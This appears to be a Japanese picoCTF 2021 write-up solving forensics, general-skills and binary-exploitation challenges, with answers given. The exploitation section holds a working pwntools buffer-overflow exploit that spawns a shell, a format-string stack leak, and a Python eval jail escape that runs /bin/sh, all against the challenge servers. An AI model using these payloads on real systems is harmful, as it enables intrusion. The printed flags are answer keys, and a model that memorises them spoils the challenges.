Ret_Val = Shell("python -c 'print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")'" & " " & Args, vbNormalFocus)

' snip

Base64 デコードすると、フラグが表示された。

$ echo cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9 | base64 -d
picoCTF{m4cr0s_r_d4ng3r0us}

picoCTF{m4cr0s_r_d4ng3r0us}

Matryoshka doll - 30 points

Matryoshka dolls are a set of wooden dolls of decreasing size placed one inside another. What's the final one? Image: this

dolls.jpg を「うさみみハリケーン」の「青い空を見上げればいつもそこに白い猫」に読み込ませる。 「ファイル・データ抽出」をすると、zip ファイルが抽出される。

f:id:tsalvia:20210401082803p:plain

zip ファイルを展開すると、また jpg ファイルが入っている。 同じ手順を4回ぐらい繰り返すと、フラグの書かれたファイルが出てきた。

picoCTF{e3f378fe6c1ea7f6bc5ac2c3d6801c1f}

tunn3l v1s10n - 40 points

We found this file. Recover the flag.

f:id:tsalvia:20210401083321p:plain

BM から始まっているので、BMPファイルだと推測できる。 ただし、拡張子を変更しても画像として開けないことから、ヘッダが壊れていると思われる。

ImageMagic で変換すると修正できる場合があるので、変換してみると画像を開くことができた。

$ convert tunn3l_v1s10n output.bmp

f:id:tsalvia:20210401084329j:plain

画像は、横長で notaflag{sorry} と書かれている。また、ファイルサイズが元データよりかなり少なくなっている。 よって、BMP ヘッダの画像サイズに関する値が書き換わっている可能性がある。

ヘッダ構成を調べるのが面倒だったので、010 Editor に元のファイルを読み込ませて、BMPのテンプレートを適用させて値を書き換えた。

biHeight を 306 から 834 に書き換えて、再度 convert するとフラグが表示された。

f:id:tsalvia:20210401085311p:plain

f:id:tsalvia:20210329002422j:plain

picoCTF{qu1t3_a_v13w_2020}

Wireshark doo dooo do doo... - 50 points

Can you find the flag? shark1.pcapng.

pcapng から pcap に変換して、NetworkMiner に読み込ませると、5つのファイルが見つかる。

f:id:tsalvia:20210401090855p:plain

index.html を開いてみると、以下のように書かれていた。

Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}

CyberChef の ROT13 で変換すると、フラグが表示された。

picoCTF{p33kab00_1_s33_u_deadbeef}

MacroHard WeakEdge - 60 points

I've hidden a flag in this file. Can you find it? Forensics is fun.pptm

Forensics is fun.pptm を zip で展開すると、 Forensics is fun\ppt\slideMasters\hidden という隠しファイルが含まれていた。 ファイルを開くと、以下のようになっていた。

PS > type '.\Forensics is fun\ppt\slideMasters\hidden'
Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q

CyberChef でスペースを切り詰めて、Base64 デコードすると、フラグが表示された。

picoCTF{D1d_u_kn0w_ppts_r_z1p5}

Trivial Flag Transfer Protocol - 90 points

Figure out how they moved the flag.

pcap に変換して、NetworkMiner に読み込ませると、6つのファイルを抽出することができる。

f:id:tsalvia:20210401091556p:plain

deb ファイルを展開して、中身を確認すると steghide だと判明した。

$ ar vx program.deb
x - debian-binary
x - control.tar.gz
x - data.tar.xz
$ tar xvf data.tar.xz
./
./usr/
./usr/share/
./usr/share/doc/
./usr/share/doc/steghide/

<snip>

./usr/bin/
./usr/bin/steghide

次に plan というテキストファイルを開くと、以下のように書かれている。

VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF

CyberChef の ROT13 で変換すると、以下のようになる。

IUSEDTHEPROGRAMANDHIDITWITH-DUEDILIGENCE.CHECKOUTTHEPHOTOS

DUEDILIGENCE を passphrase として picture3.bmp からファイルを抽出すると、flag.txt が出力された。 flag.txt の中身を確認すると、フラグが書かれていた。

$ steghide extract -sf picture3.bmp -p DUEDILIGENCE
wrote extracted data to "flag.txt".
$ cat flag.txt
picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}

picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}

Wireshark twoo twooo two twoo... - 100 points

Can you find the flag? shark2.pcapng.

DNS について確認すると、サブドメインのみを切り替えながら何度も問い合わせているのが分かる。

f:id:tsalvia:20210401094839p:plain

8.8.8.8 以外のサーバ(18.217.1.57)が指定されている問い合わせが怪しいので、18.217.1.57 のみ表示されるようにフィルタリングする。amazonaws.comwindomain.local も邪魔なので除外しておく。

dns and ip.dst == 18.217.1.57 and !(dns.qry.name contains "amazonaws.com") and !(dns.qry.name contains "windomain.local")

f:id:tsalvia:20210401095610p:plain

18.217.1.57 に送られている DNS Query のサブドメインのみを並べ、 CyberChef の From Base64 でデコードすると、フラグが表示された。

picoCTF{dns_3xf1l_ftw_deadbeef}

Disk, disk, sleuth! - 110 points

Use srch_strings from the sleuthkit and some terminal-fu to find a flag in this disk image: dds1-alpine.flag.img.gz

ファイルを展開して、strings するとフラグが表示された。

$ gunzip -d dds1-alpine.flag.img.gz
$ strings dds1-alpine.flag.img | grep pico
ffffffff81399ccf t pirq_pico_get
ffffffff81399cee t pirq_pico_set
ffffffff820adb46 t pico_router_probe
  SAY picoCTF{f0r3ns1c4t0r_n30phyt3_ad5c96c0}

picoCTF{f0r3ns1c4t0r_n30phyt3_ad5c96c0}

Disk, disk, sleuth! II - 130 points

All we know is the file with the flag is named down-at-the-bottom.txt... Disk image: dds2-alpine.flag.img.gz

Autopsy に読み込ませ、キーワード検索で down-at-the-bottom.txt と検索すると、該当のファイルが見つかる。

   _     _     _     _     _     _     _     _     _     _     _     _     _  
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \ 
 ( p ) ( i ) ( c ) ( o ) ( C ) ( T ) ( F ) ( { ) ( f ) ( 0 ) ( r ) ( 3 ) ( n )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/ 
   _     _     _     _     _     _     _     _     _     _     _     _     _  
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \ 
 ( s ) ( 1 ) ( c ) ( 4 ) ( t ) ( 0 ) ( r ) ( _ ) ( n ) ( 0 ) ( v ) ( 1 ) ( c )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/ 
   _     _     _     _     _     _     _     _     _     _     _  
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \ 
 ( 3 ) ( _ ) ( 6 ) ( 9 ) ( a ) ( b ) ( 1 ) ( d ) ( c ) ( 8 ) ( } )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/ 

picoCTF{f0r3ns1c4t0r_n0v1c3_69ab1dc8}

Milkslap - 200 points

🥛

Chrome DevTools の Network を開きながら、http://mercury.picoctf.net:7585/ にアクセスすると、画像ファイルがダウンロードされていることが分かる。

f:id:tsalvia:20210401100657p:plain

フォレンジック問題なので、画像をダウンロードして zsteg に読み込ませるとフラグが表示された。

$ wget http://mercury.picoctf.net:7585/concat_v.png
$ zsteg concat_v.png
imagedata           .. file: FoxPro FPT, blocks size 65280, next free block index 30592456
b1,b,lsb,xy         .. text: "picoCTF{imag3_m4n1pul4t10n_sl4p5}\n"
b1,bgr,lsb,xy       .. <wbStego size=9706075, data="\xB6\xAD\xB6}\xDB\xB2lR\x7F\xDF\x86\xB7c\xFC\xFF\xBF\x02Zr\x8E\xE2Z\x12\xD8q\xE5&MJ-X:\xB5\xBF\xF7\x7F\xDB\xDFI\bm\xDB\xDB\x80m\x00\x00\x00\xB6m\xDB\xDB\xB6\x00\x00\x00\xB6\xB6\x00m\xDB\x12\x12m\xDB\xDB\x00\x00\x00\x00\x00\xB6m\xDB\x00\xB6\x00\x00\x00\xDB\xB6mm\xDB\xB6\xB6\x00\x00\x00\x00\x00m\xDB", even=true, mix=true, controlbyte="[">
b2,r,lsb,xy         .. file: SoftQuad DESC or font file binary
b2,r,msb,xy         .. file: VISX image file
b2,g,lsb,xy         .. file: VISX image file
b2,g,msb,xy         .. file: SoftQuad DESC or font file binary - version 15722
b2,b,msb,xy         .. text: "UfUUUU@UUU"
b4,r,lsb,xy         .. text: "\"\"\"\"\"#4D"
b4,r,msb,xy         .. text: "wwww3333"
b4,g,lsb,xy         .. text: "wewwwwvUS"
b4,g,msb,xy         .. text: "\"\"\"\"DDDD"
b4,b,lsb,xy         .. text: "vdUeVwweDFw"
b4,b,msb,xy         .. text: "UUYYUUUUUUUU"

picoCTF{imag3_m4n1pul4t10n_sl4p5}

General Skills(7問)

Obedient Cat - 5 points

This file has a flag in plain sight (aka "in-the-clear"). Download flag.

ダウンロードして、cat で表示するだけ

$ cat flag
picoCTF{s4n1ty_v3r1f13d_b5aeb3dd}

picoCTF{s4n1ty_v3r1f13d_b5aeb3dd}

Python Wrangling - 10 points

Python scripts are invoked kind of like programs in the Terminal... Can you run this Python script using this password to get the flag?

ende.py、flag.txt.en、pw.txt をダウンロードして、ende.py を実行する。 ende.py の出力にしたがって、以下のように入力すると、フラグが表示される。

$ python3 ende.py 
Usage: ende.py (-e/-d) [file]
$ python3 ende.py -d flag.txt.en
Please enter the password:aa821c16aa821c16aa821c16aa821c16
picoCTF{4p0110_1n_7h3_h0us3_aa821c16}

picoCTF{4p0110_1n_7h3_h0us3_aa821c16}

Wave a flag - 10 points

Can you invoke help flags for a tool or binary? This program has extraordinarily helpful information...

warm をダウンロードして実行する。 warm の出力にしたがって、以下のように入力すると、フラグが表示される。

$ ./warm
Hello user! Pass me a -h to learn what I can do!
$ ./warm -h
Oh, help? I actually don't do much, but I do have this flag here: picoCTF{b1scu1ts_4nd_gr4vy_755f3544}

picoCTF{b1scu1ts_4nd_gr4vy_755f3544}

Nice netcat... - 15 points

There is a nice program that you can talk to by using this command in a shell: $ nc mercury.picoctf.net 43239, but it doesn't speak English...

nc mercury.picoctf.net 43239 に接続すると、10進数と思われる数値がいくつか表示される。 CyberChef の From Decimal で変換すると、フラグが表示される。

picoCTF{g00d_k1tty!_n1c3_k1tty!_7c0821f5}

Static ain't always noise - 20 points

Can you look at the data in this binary: static? This BASH script might help!

static、ltdis.sh をダウンロードする。This BASH script might help と書いてあるので、以下のように実行してみる。

$ ./ltdis.sh  static 
Attempting disassembly of static ...
Disassembly successful! Available at: static.ltdis.x86_64.txt
Ripping strings from binary with file offsets...
Any strings found in static have been written to static.ltdis.strings.txt with file offset

static.ltdis.strings.txt と static.ltdis.x86_64.txt の2つのファイルが生成される。 grep してみると、フラグが見つかった。

$ cat static.ltdis.strings.txt | grep pico
   1020 picoCTF{d15a5m_t34s3r_1e6a7731}

picoCTF{d15a5m_t34s3r_1e6a7731}

Tab, Tab, Attack - 20 points

Using tabcomplete in the Terminal will add years to your life, esp. when dealing with long rambling directory structures and filenames: Addadshashanammu.zip

Addadshashanammu.zip をダウンロードして、unzip すると、深い階層に fang-of-haynekhtnamet という ELFファイルがある。 これを実行すると、フラグが表示された。

$ cd ./Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku
$ ./fang-of-haynekhtnamet
*ZAP!* picoCTF{l3v3l_up!_t4k3_4_r35t!_524e3dc4}

picoCTF{l3v3l_up!_t4k3_4_r35t!_524e3dc4}

Magikarp Ground Mission - 30 points

Do you know how to move between directories and read files in the shell? Start the container, ssh to it, and then ls once connected to begin. Login via ssh as ctf-player with the password, 6d448c9c

問題説明欄の横の Lunch Instance でインスタンスを起動する。 SSH の接続先情報が出てくるので、ssh でアクセスする。

問題に書かれている通り、ls すると、フラグの一部と次の命令が書かれたファイルが見つかる。 同じように指示にしたがいながら、コマンドを実行すると、すべてのフラグが見つかる。

$ ls
1of3.flag.txt  instructions-to-2of3.txt
$ cat 1of3.flag.txt instructions-to-2of3.txt
picoCTF{xxsh_
Next, go to the root of all things, more succinctly `/`

$ cd /
$ ls
2of3.flag.txt  boot  etc   instructions-to-3of3.txt  lib64  mnt  proc  run   srv  tmp  var
bin            dev   home  lib                       media  opt  root  sbin  sys  usr
$ cat 2of3.flag.txt instructions-to-3of3.txt
0ut_0f_\/\/4t3r_
Lastly, ctf-player, go home... more succinctly `~`

$ cd ~
$ ls
3of3.flag.txt  drop-in
$ cat 3of3.flag.txt
5190b070}

picoCTF{xxsh_0ut_0f_\/\/4t3r_5190b070}

Binary Exploitation(6問)

Binary Gauntlet 0 - 10 points

This series of problems has to do with binary protections and how they affect exploiting a very simple program. How far can you make it in the gauntlet? gauntlet nc mercury.picoctf.net 12294

Ghidra でデコンパイルして処理を確認すると、SIGSEGV が発生したときにフラグを表示するという処理が書かれていた。

f:id:tsalvia:20210403194726p:plain

バッファサイズが 1000 バイトで用意されているので、適当な値を 2000 バイトぐらい与えると、SIGSEGV が起きる。

$ echo "picoCTF{TEST_FLAG}" > flag.txt
$ python3 -c "print('\r' * 2000)" | ./gauntlet
picoCTF{TEST_FLAG}

リモートでも同様に実行すると、フラグが表示される。

$ python3 -c "print('\r' * 2000)" | nc mercury.picoctf.net 12294
fbd01d62c0e369e6de3d63b4b21d3830

fbd01d62c0e369e6de3d63b4b21d3830

Stonks - 20 points

I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! vuln.c nc mercury.picoctf.net 53437

%p を入力すると、スタックが表示されたので、Format String Bug がある。

$ python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
Buying stonks with token:
0x9704410.0x804b000.0x80489c3.0xf7f4ad80.0xffffffff.0x1.0x9702160.0xf7f58110.0xf7f4adc7.(nil).0x9703180.0x2.0x97043f0.0x9704410.0x6f636970.0x7b465443.0x306c5f49.0x345f7435.0x6d5f6c6c.0x306d5f79.0x5f79336e.0x34636462.0x61653532.0xff9a007d.0xf7f85af8.0xf7f58440.0x49625900.0x1.(nil).0xf7de7be9.0xf7f590c0.0xf7f4a5c0.0xf7f4a000.0xff9a6c48.0xf7dd858d.0xf7f4a5c0.0x8048eca.0xff9a6c54.(nil).0xf7f6cf09.0x804b000.0xf7f4a000.0xf7f4ae20.0xff9a6c88.0xf7f72d50.0xf7f4b890.0x49625900.0xf7f4a000.0x804b000.0xff9a6c88.
Portfolio as of Mon Apr  5 01:20:56 UTC 2021


2 shares of DSCV
2 shares of RSJR
11 shares of LDZB
12 shares of L
4 shares of L
24 shares of PEI
771 shares of TRAS
190 shares of YSZ
343 shares of GGP
Goodbye!

文字列に変換すると、フラグっぽい文字列が確認できる。

$ python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 | tr "." "\n" | xxd -r -p | strings -n1
=
K
H
0
@
;
=
ocip{FTC0l_I4_t5m_ll0m_y_y3n4cdbae52
}
@
8
H
D

K
 
x
mP
K
x
 FR

トルエンディアンで文字列が反転しているので、適当に修正するとフラグになった。

python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 | tr "." "\n" | while read line; do echo $line | xxd -r -p | strings -n1 | rev; done | tr -d "\n" | grep -oE "picoCTF{.*}"
picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}

picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}

Binary Gauntlet 1 - 30 points

Okay, time for a challenge. gauntlet nc mercury.picoctf.net 19968

strcpy のところで Buffer Overflow するので、そこを利用して Shellcode を実行する。
まずは、pattc と patto でオーバーフローする箇所の offset を求める。

$ gdb -q ./gauntlet
gdb-peda$ pattc 1000
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x'
gdb-peda$ run 
Starting program: /root/workdir/gauntlet 
0x7fffffffe1b0
A
A
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7ab09c0 (<__strcpy_sse2_unaligned+976>:     mov    rdx,QWORD PTR [rsi])
RDX: 0x24415a24417724 ('$wA$ZA$')
RSI: 0x6023f0 --> 0x24415a24417724 ('$wA$ZA$')
RDI: 0x7fffffffe590 --> 0x24415a24417724 ('$wA$ZA$')
RBP: 0x41414e4141384141 ('AA8AANAA')
RSP: 0x7fffffffe228 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
RIP: 0x40074e (<main+199>:      ret)
R8 : 0x24415a2441772441 ('A$wA$ZA$')
R9 : 0x2441702441532441 ('A$SA$pA$')
R10: 0x7fffffffdf60 --> 0x0 
R11: 0x7ffff7b8cfe0 --> 0xfff23980fff23970 
R12: 0x4005a0 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe300 ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPA"...)
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400743 <main+188>: call   0x400550 <strcpy@plt>
   0x400748 <main+193>: mov    eax,0x0
   0x40074d <main+198>: leave  
=> 0x40074e <main+199>: ret    
   0x40074f:    nop
   0x400750 <__libc_csu_init>:  push   r15
   0x400752 <__libc_csu_init+2>:        push   r14
   0x400754 <__libc_csu_init+4>:        mov    r15,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe228 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0008| 0x7fffffffe230 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0016| 0x7fffffffe238 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0024| 0x7fffffffe240 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
0032| 0x7fffffffe248 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...)
0040| 0x7fffffffe250 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...)
0048| 0x7fffffffe258 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA"...)
0056| 0x7fffffffe260 ("AuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%W"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040074e in main ()
gdb-peda$ patto jAA9AAOAAkAAPA
jAA9AAOAAkAAPA found at offset: 120

offset が120だと分かったので、後は Shellcode を呼び出すように調整する。 以下のスクリプトを実行すると、シェルを取ることができた。

#!/usr/bin/env python3
from pwn import *

ARCH = 'amd64'
FILE = './gauntlet'
LIBC = ''
HOST = 'mercury.picoctf.net'
PORT = 19968

GDB_SCRIPT = '''
    break main
    continue
'''

def exploit(io, elf, libc, rop):
    rdata = io.readuntil(b'\n').strip()
    buf_addr = int(rdata, 16)
    log.info(f'buffer address: {hex(buf_addr)}')

    io.sendline(b'A')

    offset = 120
    shellcode = asm(shellcraft.sh())

    payload = shellcode
    payload += b'A' * (offset - len(shellcode))
    payload += pack(buf_addr)
    log.info(f'payload: {payload}')

    io.sendlineafter(b'A\n', payload)

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py REMOTE
[*] '/root/workdir/gauntlet'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Loaded 14 cached gadgets for './gauntlet'
[+] Opening connection to mercury.picoctf.net on port 19968: Done
[*] buffer address: 0x7fffffffeb40
[*] payload: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xeb\xff\xff\xff\x7f\x00\x00'
[*] Switching to interactive mode
$ id
uid=1651(binary-gauntlet-1_4) gid=1652(binary-gauntlet-1_4) groups=1652(binary-gauntlet-1_4)
$ ls
flag.txt
gauntlet
gauntlet_no_aslr
xinet_startup.sh
$ cat flag.txt
7504344981b9288c5669150ada84894e
$

7504344981b9288c5669150ada84894e

What's your input? - 50 points

We'd like to get your input on a couple things. Think you can answer my questions correctly? in.py nc mercury.picoctf.net 61858.

pyjail 系の問題のように見えるので、__builtins__.__dict__['eval']('__import__(\"os\").system(\"/bin/sh\")') と入力してみたところ、シェルを取ることができた。

$ nc mercury.picoctf.net 61858
What's your favorite number?
Number? __builtins__.__dict__['eval']('__import__(\"os\").system(\"/bin/sh\")')
id
uid=1272(what-s-your-input-_4) gid=1273(what-s-your-input-_4) groups=1273(what-s-your-input-_4)
ls
city_names.txt  
flag
in.py
xinet_startup.sh
cat flag
picoCTF{v4lua4bl3_1npu7_7607377}

picoCTF{v4lua4bl3_1npu7_7607377}

Binary Gauntlet 2 - 50 points

How does ASLR affect your exploit? gauntlet nc mercury.picoctf.net 49704

Ghidra で確認すると、10行目に Format String Bug、15行目で Buffer Overflow ができそうだと分かる。

f:id:tsalvia:20210406051729p:plain

ASLR が有効なので、Format String Bug でスタックをリークさせ、そのアドレスを基に Shellcode を呼び出せばよい。

まず 0x4006da に Breakpoint を置いて、printf 後のスタックを確認する。

Breakpoint 1, 0x00000000004006da in main ()
gdb-peda$ stack 20
0000| 0x7fffffffe1d0 --> 0x7fffffffe338 --> 0x7fffffffe58d ("./gauntlet")
0008| 0x7fffffffe1d8 --> 0x100000000 
0016| 0x7fffffffe1e0 --> 0x0 
0024| 0x7fffffffe1e8 --> 0x7fffffffe348 --> 0x7fffffffe598 ("TERM_PROGRAM=vscode")
0032| 0x7fffffffe1f0 --> 0x1 
0040| 0x7fffffffe1f8 --> 0x7fffffffe270 --> 0x100000001 
0048| 0x7fffffffe200 --> 0x7ffff7ffe1c8 --> 0x0 
0056| 0x7fffffffe208 --> 0x0 
0064| 0x7fffffffe210 --> 0x1 
0072| 0x7fffffffe218 --> 0x40077d (<__libc_csu_init+77>:        add    rbx,0x1)
0080| 0x7fffffffe220 --> 0x7fffffffe250 --> 0x0 
0088| 0x7fffffffe228 --> 0x0 
0096| 0x7fffffffe230 --> 0x400730 (<__libc_csu_init>:   push   r15)
0104| 0x7fffffffe238 --> 0x4005a0 (<_start>:    xor    ebp,ebp)
0112| 0x7fffffffe240 --> 0x7fffffffe330 --> 0x1 
0120| 0x7fffffffe248 --> 0x602010 --> 0xa70243625 ('%6$p\n')
